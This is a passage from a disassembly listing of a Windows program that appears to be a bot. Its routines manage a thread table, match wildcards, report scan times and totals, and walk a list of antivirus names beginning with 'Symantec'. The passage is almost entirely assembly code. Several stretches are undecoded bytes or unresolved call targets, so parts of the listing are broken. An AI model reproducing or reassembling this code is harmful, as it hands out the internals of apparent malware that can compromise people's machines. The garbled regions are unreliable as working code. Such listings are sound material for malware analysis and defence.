loc_40B28B: ; CODE XREF: sub_40B232+50j mov [edi], ebx lea edi, dword_43E59C[esi] mov byte ptr dword_43E390[esi], bl mov byte_43E5A8[esi], bl push dword ptr [edi] call dword_4CB6EC lea esi, dword_43E5A0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB6EC mov [esi], ebx pop edi loc_40B2BA: ; CODE XREF: sub_40B232+Dj ; sub_40B232+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B232 endp ; =============== S U B R O U T I N E ======================================= sub_40B2C0 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E390 loc_40B2CC: ; CODE XREF: sub_40B2C0+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DD push edi call sub_40B232 test eax, eax pop ecx jz short loc_40B2DD inc ebx loc_40B2DD: ; CODE XREF: sub_40B2C0+Fj ; sub_40B2C0+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB390 jl short loc_40B2CC pop edi mov eax, ebx pop esi pop ebx retn sub_40B2C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F2 proc near ; CODE XREF: sub_401ACD+418Fp ; sub_401ACD+42E1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E594 loc_40B306: ; CODE XREF: sub_40B2F2+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B328 test edi, edi jle short loc_40B31A cmp [esi], edi jz short loc_40B31A cmp ebx, edi jnz short loc_40B328 loc_40B31A: ; CODE XREF: sub_40B2F2+1Ej ; sub_40B2F2+22j push ebx call sub_40B232 test eax, eax pop ecx jz short loc_40B328 inc [ebp+var_4] loc_40B328: ; CODE XREF: sub_40B2F2+1Aj ; sub_40B2F2+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB594 jl short loc_40B306 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F2 endp ; =============== S U B R O U T I N E ======================================= sub_40B33F proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E590 loc_40B346: ; CODE XREF: sub_40B33F+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34F inc eax loc_40B34F: ; CODE XREF: sub_40B33F+Dj add ecx, 234h cmp ecx, offset dword_4CB590 jl short loc_40B346 retn sub_40B33F endp ; =============== S U B R O U T I N E ======================================= sub_40B35E proc near ; CODE XREF: sub_401ACD+2434p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E590 loc_40B368: ; CODE XREF: sub_40B35E+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B381 add ecx, 234h inc edx cmp ecx, offset dword_4CB590 jl short loc_40B368 pop esi retn ; --------------------------------------------------------------------------- loc_40B381: ; CODE XREF: sub_40B35E+10j mov eax, edx pop esi retn sub_40B35E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B385 proc near ; CODE XREF: sub_401ACD+1067p ; sub_401ACD+126Dp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39E push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39E: ; CODE XREF: sub_40B385+Ej push eax push [ebp+arg_18] call sub_40B2F2 pop ecx test eax, eax pop ecx jle short loc_40B3CA push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E4 ; --------------------------------------------------------------------------- loc_40B3CA: ; CODE XREF: sub_40B385+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E4: ; CODE XREF: sub_40B385+43j cmp [ebp+arg_C], 0 jnz short loc_40B404 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_40B404: ; CODE XREF: sub_40B385+63j lea eax, [ebp+var_200] push eax call sub_4151AD pop ecx leave retn sub_40B385 endp ; =============== S U B R O U T I N E ======================================= sub_40B413 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA48p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E5A4[eax], ecx mov dword_43E590[eax], ecx mov dword_43E594[eax], ecx mov dword_43E598[eax], ecx mov dword_43E59C[eax], ecx mov dword_43E5A0[eax], ecx mov byte ptr dword_43E390[eax], cl mov byte_43E5A8[eax], cl retn sub_40B413 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B450 proc near ; CODE XREF: sub_401ACD+7E3Cp ; sub_40B57E+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B45A: ; CODE XREF: sub_40B450+68j mov cl, [esi] test cl, cl jz short loc_40B4BA cmp eax, 1 jnz short loc_40B4BA mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4BA cmp cl, 2Ah jz short loc_40B4A1 cmp cl, 3Fh jz short loc_40B484 cmp cl, 5Bh jz short loc_40B489 xor eax, eax cmp cl, dl setz al loc_40B484: ; CODE XREF: sub_40B450+26j inc [ebp+arg_4] jmp short loc_40B4B4 ; --------------------------------------------------------------------------- loc_40B489: ; CODE XREF: sub_40B450+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E6 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B4 ; --------------------------------------------------------------------------- loc_40B4A1: ; CODE XREF: sub_40B450+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57E mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B4: ; CODE XREF: sub_40B450+37j ; sub_40B450+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B45A ; --------------------------------------------------------------------------- loc_40B4BA: ; CODE XREF: sub_40B450+Ej ; sub_40B450+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4CA cmp eax, 1 jnz short loc_40B4E1 inc esi mov [ebp+arg_0], esi jmp short loc_40B4BA ; --------------------------------------------------------------------------- loc_40B4CA: ; CODE XREF: sub_40B450+6Dj cmp eax, 1 jnz short loc_40B4E1 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E1 cmp byte ptr [esi], 0 jnz short loc_40B4E1 push 1 pop eax jmp short loc_40B4E3 ; --------------------------------------------------------------------------- loc_40B4E1: ; CODE XREF: sub_40B450+72j ; sub_40B450+7Dj ... xor eax, eax loc_40B4E3: ; CODE XREF: sub_40B450+8Fj pop esi pop ebp retn sub_40B450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E6 proc near ; CODE XREF: sub_40B450+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B507 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B507: ; CODE XREF: sub_40B4E6+19j push ebx push esi loc_40B509: ; CODE XREF: sub_40B4E6+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B517 cmp [ebp+var_4], eax jnz short loc_40B563 loc_40B517: ; CODE XREF: sub_40B4E6+2Aj test edi, edi jnz short loc_40B558 cmp bl, 2Dh jnz short loc_40B54C mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54C cmp al, 5Dh jz short loc_40B54C cmp [ebp+var_4], edi jnz short loc_40B54C mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B558 cmp bl, al jg short loc_40B558 push 1 mov [edx], esi pop edi jmp short loc_40B558 ; --------------------------------------------------------------------------- loc_40B54C: ; CODE XREF: sub_40B4E6+38j ; sub_40B4E6+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B558 push 1 pop edi loc_40B558: ; CODE XREF: sub_40B4E6+33j ; sub_40B4E6+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B509 ; --------------------------------------------------------------------------- loc_40B563: ; CODE XREF: sub_40B4E6+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B570 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B570: ; CODE XREF: sub_40B4E6+82j cmp edi, eax jnz short loc_40B579 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B579: ; CODE XREF: sub_40B4E6+8Cj mov eax, edi pop edi leave retn sub_40B4E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57E proc near ; CODE XREF: sub_40B450+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B59A: ; CODE XREF: sub_40B57E+3Aj cmp [eax], bl jz short loc_40B5BA mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AF cmp cl, 2Ah jnz short loc_40B5BA cmp cl, 3Fh jnz short loc_40B5B2 loc_40B5AF: ; CODE XREF: sub_40B57E+25j inc eax mov [edi], eax loc_40B5B2: ; CODE XREF: sub_40B57E+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B59A ; --------------------------------------------------------------------------- loc_40B5BA: ; CODE XREF: sub_40B57E+1Ej ; sub_40B57E+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C5 inc dword ptr [esi] jmp short loc_40B5BA ; --------------------------------------------------------------------------- loc_40B5C5: ; CODE XREF: sub_40B57E+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E6 mov edx, [esi] cmp [edx], bl jz short loc_40B5D7 xor eax, eax jmp short loc_40B646 ; --------------------------------------------------------------------------- loc_40B5D7: ; CODE XREF: sub_40B57E+53j cmp cl, bl jnz short loc_40B5E6 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E6 push 1 pop eax jmp short loc_40B646 ; --------------------------------------------------------------------------- loc_40B5E6: ; CODE XREF: sub_40B57E+4Dj ; sub_40B57E+5Bj ... push eax push dword ptr [esi] call sub_40B450 pop ecx test eax, eax pop ecx jnz short loc_40B630 loc_40B5F4: ; CODE XREF: sub_40B57E+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F8: ; CODE XREF: sub_40B57E+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B610 cmp cl, 5Bh jz short loc_40B610 cmp dl, bl jz short loc_40B610 inc eax mov [edi], eax jmp short loc_40B5F8 ; --------------------------------------------------------------------------- loc_40B610: ; CODE XREF: sub_40B57E+82j ; sub_40B57E+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B627 push eax push dword ptr [esi] call sub_40B450 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B627: ; CODE XREF: sub_40B57E+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62C: ; CODE XREF: sub_40B57E+A7j cmp eax, ebx jnz short loc_40B5F4 loc_40B630: ; CODE XREF: sub_40B57E+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B643 mov eax, [esi] cmp [eax], bl jnz short loc_40B643 mov [ebp+var_4], 1 loc_40B643: ; CODE XREF: sub_40B57E+B6j ; sub_40B57E+BCj mov eax, [ebp+var_4] loc_40B646: ; CODE XREF: sub_40B57E+57j ; sub_40B57E+66j pop edi pop esi pop ebx leave retn sub_40B57E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64B proc near ; CODE XREF: sub_401ACD+2AF6p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431E9C push eax xor ebx, ebx call sub_41B886 cmp dword_431B00, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BD push esi mov esi, offset dword_431B08 loc_40B67E: ; CODE XREF: sub_40B64B+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B3 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431E90 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B3: ; CODE XREF: sub_40B64B+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67E pop esi loc_40B6BD: ; CODE XREF: sub_40B64B+2Bj push dword_4CB394 call sub_41A88C pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_200] push eax call sub_4151AD add esp, 34h pop edi pop ebx leave retn sub_40B64B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B71A proc near ; CODE XREF: sub_401ACD+2AE0p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE160 mov ecx, dword_4CE15C push esi push dword_4CB394 lea esi, [ecx+eax] call sub_41A88C pop ecx push eax push esi push dword_4CE160 lea eax, [ebp+var_200] push dword_4CE15C push offset unk_431EBC push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_200] push eax call sub_4151AD add esp, 30h pop esi leave retn sub_40B71A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B786 proc near ; CODE XREF: sub_401ACD+2ACAp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB394 call sub_41A88C pop ecx push eax lea eax, [ebp+var_200] push dword_4CE3A4 push offset unk_431F04 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_200] push eax call sub_4151AD add esp, 28h leave retn sub_40B786 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DB proc near ; CODE XREF: sub_401ACD+2AB4p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431F50 push eax call sub_41B886 cmp dword_431B00, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B847 push esi mov esi, offset aSymantec ; "Symantec" loc_40B810: ; CODE XREF: sub_40B7DB+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431F40 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B810 pop esi loc_40B847: ; CODE XREF: sub_40B7DB+2Dj push dword_4CB394 call sub_41A88C pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_800] push eax call sub_4151AD add esp, 30h pop edi leave retn sub_40B7DB endp ; --------------------------------------------------------------------------- word_40B8A2 dw 8B55h ; DATA XREF: sub_401ACD+30E1o dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h, 0BD8D59F0h dd 0FFFFFECCh, 80C7A5F3h, 128h, 1, 0FECC858Dh, 0FF50FFFFh dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h dd 840F087Dh, 118h, 431B00BBh db 0, 8Bh, 0C3h ; --------------------------------------------------------------------------- loc_40B8F3: ; CODE XREF: ___:0040B9FEj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C088 add esp, 0Ch cmp eax, 1 jnz loc_40B9F4 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431FA0 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A73 lea eax, [ebp-3F0h] push eax call sub_4151AD add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98F lea eax, [ebp-124h] loc_40B98F: ; CODE XREF: ___:0040B987j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F4: ; CODE XREF: ___:0040B906j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F3 push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431F6C push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A73 lea eax, [ebp-3F0h] push eax call sub_4151AD push dword ptr [ebp-18h] call sub_40B413 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- dw 0A9E8h ; --------------------------------------------------------------------------- inc ebp xor [edx], al ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA57 proc near ; CODE XREF: sub_401ACD+244Fp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33F test eax, eax pop ecx jle short loc_40BA93 mov eax, [ebp+arg_C] push dword_4CB7A0[eax*8] call dword_4CB6E0 push eax lea eax, [ebp+var_200] push offset unk_431FF0 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA6 ; --------------------------------------------------------------------------- loc_40BA93: ; CODE XREF: sub_40BA57+13j lea eax, [ebp+var_200] push offset unk_431FD0 push eax call sub_41B886 pop ecx pop ecx loc_40BAA6: ; CODE XREF: sub_40BA57+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_200] push eax call sub_4151AD add esp, 18h leave retn sub_40BA57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACE proc near ; CODE XREF: sub_40C125+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BFA0 shl eax, 6 xor ebx, ebx cmp dword_431B0C[eax], ebx jz loc_40BFA0 push 5 call sub_40B33F test eax, eax pop ecx jnz loc_40BD55 mov eax, dword_429078 push edi mov esi, offset dword_4CD85C push 104h push esi push ebx mov dword_4CDA6C, eax mov dword_4CDA68, ebx nop call near ptr 26A0000h mov edi, offset byte_429110 push 103h push edi push offset dword_4CD960 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD858, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDAF0, eax jnz short loc_40BB81 lea eax, [ebp+arg_10] push eax push offset dword_4CDA70 call sub_41B5F0 add esp, 0Ch mov dword_4CDAF4, 1 jmp short loc_40BB9B ; --------------------------------------------------------------------------- loc_40BB81: ; CODE XREF: sub_40BACE+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDA70 call sub_41B5F0 add esp, 0Ch mov dword_4CDAF4, ebx loc_40BB9B: ; CODE XREF: sub_40BACE+B1j push esi lea eax, [ebp+var_204] push dword_4CDA6C push offset unk_42C55C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F7 add esp, 1Ch mov dword_4CDA64, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD858 push offset byte_411797 push ebx push ebx nop call near ptr 26B0000h mov ecx, dword_4CDA64 imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BC09 loc_40BBF7: ; CODE XREF: sub_40BACE+139j cmp dword_4CDAF8, ebx jnz short loc_40BC24 push 32h nop call near ptr 26A0F44h jmp short loc_40BBF7 ; --------------------------------------------------------------------------- loc_40BC09: ; CODE XREF: sub_40BACE+127j nop call near ptr 26B0857h push eax lea eax, [ebp+var_204] push offset unk_432110 push eax call sub_41B886 add esp, 0Ch loc_40BC24: ; CODE XREF: sub_40BACE+12Fj lea eax, [ebp+var_204] push eax call sub_4151AD mov eax, dword_4CB390 mov esi, offset dword_4CDB04 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CDD14, eax mov dword_4CDD10, ebx nop call near ptr 26A0000h push 103h push edi push offset dword_4CDC08 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDB00, eax mov eax, [ebp+arg_138] pop edi mov dword_4CDD98, eax push 7Fh jnz short loc_40BCA5 lea eax, [ebp+arg_10] push eax push offset dword_4CDD18 call sub_41B5F0 add esp, 0Ch mov dword_4CDD9C, 1 jmp short loc_40BCBF ; --------------------------------------------------------------------------- loc_40BCA5: ; CODE XREF: sub_40BACE+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CDD18 call sub_41B5F0 add esp, 0Ch mov dword_4CDD9C, ebx loc_40BCBF: ; CODE XREF: sub_40BACE+1D5j push esi lea eax, [ebp+var_204] push dword_4CDD14 push offset unk_4320DC push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F7 add esp, 1Ch mov dword_4CDD0C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB00 push offset word_40E992 push ebx push ebx nop call near ptr 26B0000h mov ecx, dword_4CDD0C imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BD2D loc_40BD1B: ; CODE XREF: sub_40BACE+25Dj cmp dword_4CDDA0, ebx jnz short loc_40BD48 push 32h nop call near ptr 26A0F44h jmp short loc_40BD1B ; --------------------------------------------------------------------------- loc_40BD2D: ; CODE XREF: sub_40BACE+24Bj call near ptr 26B0857h nop push eax lea eax, [ebp+var_204] push offset unk_4320A8 push eax call sub_41B886 add esp, 0Ch loc_40BD48: ; CODE XREF: sub_40BACE+253j lea eax, [ebp+var_204] push eax call sub_4151AD pop ecx loc_40BD55: ; CODE XREF: sub_40BACE+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_431B14[ecx], ebx jz loc_40BE7E push 7 call sub_40B33F test eax, eax pop ecx jnz loc_40BE78 mov eax, dword_4CE39C cmp [ebp+arg_90], bl mov dword_4CD7C4, eax mov eax, [ebp+arg_110] mov dword_4CD7B8, eax mov eax, [ebp+arg_138] mov dword_4CD7C0, ebx mov dword_4CD848, eax push 7Fh jnz short loc_40BDC9 lea eax, [ebp+arg_10] push eax push offset dword_4CD7C8 call sub_41B5F0 add esp, 0Ch mov dword_4CD84C, 1 jmp short loc_40BDE3 ; --------------------------------------------------------------------------- loc_40BDC9: ; CODE XREF: sub_40BACE+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD7C8 call sub_41B5F0 add esp, 0Ch mov dword_4CD84C, ebx loc_40BDE3: ; CODE XREF: sub_40BACE+2F9j push dword_4CD7C4 lea eax, [ebp+var_204] push offset unk_432078 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F7 add esp, 18h mov dword_4CD7BC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD7B8 push offset dword_40E6F0 push ebx push ebx nop call near ptr 26B0000h mov ecx, dword_4CD7BC imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BE50 loc_40BE3E: ; CODE XREF: sub_40BACE+380j cmp dword_4CD850, ebx jnz short loc_40BE6B push 32h nop call near ptr 26A0F44h jmp short loc_40BE3E ; --------------------------------------------------------------------------- loc_40BE50: ; CODE XREF: sub_40BACE+36Ej call near ptr 26B0857h nop push eax lea eax, [ebp+var_204] push offset unk_432040 push eax call sub_41B886 add esp, 0Ch loc_40BE6B: ; CODE XREF: sub_40BACE+376j lea eax, [ebp+var_204] push eax call sub_4151AD pop ecx loc_40BE78: ; CODE XREF: sub_40BACE+2A8j mov eax, [ebp+arg_130] loc_40BE7E: ; CODE XREF: sub_40BACE+298j shl eax, 6 cmp dword_431B10[eax], ebx jz loc_40BFA0 push 3 call sub_40B33F test eax, eax pop ecx jnz loc_40BFA0 mov esi, offset dword_4CE034 push 104h push esi push ebx call near ptr 26A0000h nop push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBF mov [eax], bl loc_40BEBF: ; CODE XREF: sub_40BACE+3EDj mov eax, dword_42907C mov dword_4CE14C, ebx mov dword_4CE138, eax lea eax, [ebp+arg_10] push eax push offset dword_4CDDAC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CDDA8, eax mov ecx, [ebp+arg_138] push esi push dword_4CE138 mov dword_4CE144, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE148, ecx call sub_40AC10 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C4E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F7 add esp, 20h mov dword_4CE140, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDDA8 push offset sub_40F0D6 push ebx push ebx nop call near ptr 26B0000h mov ecx, dword_4CE140 imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BF78 loc_40BF66: ; CODE XREF: sub_40BACE+4A8j cmp dword_4CE154, ebx jnz short loc_40BF93 push 32h nop call near ptr 26A0F44h jmp short loc_40BF66 ; --------------------------------------------------------------------------- loc_40BF78: ; CODE XREF: sub_40BACE+496j nop call near ptr 26B0857h push eax lea eax, [ebp+var_204] push offset unk_43200C push eax call sub_41B886 add esp, 0Ch loc_40BF93: ; CODE XREF: sub_40BACE+49Ej lea eax, [ebp+var_204] push eax call sub_4151AD pop ecx loc_40BFA0: ; CODE XREF: sub_40BACE+14j ; sub_40BACE+25j ... pop esi pop ebx leave retn sub_40BACE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA4 proc near ; CODE XREF: sub_40C125:loc_40C196p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB7A0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CB57C inc eax push eax mov [ebp+arg_0], eax call dword_4CB650 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEC proc near ; CODE XREF: sub_40C125+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = 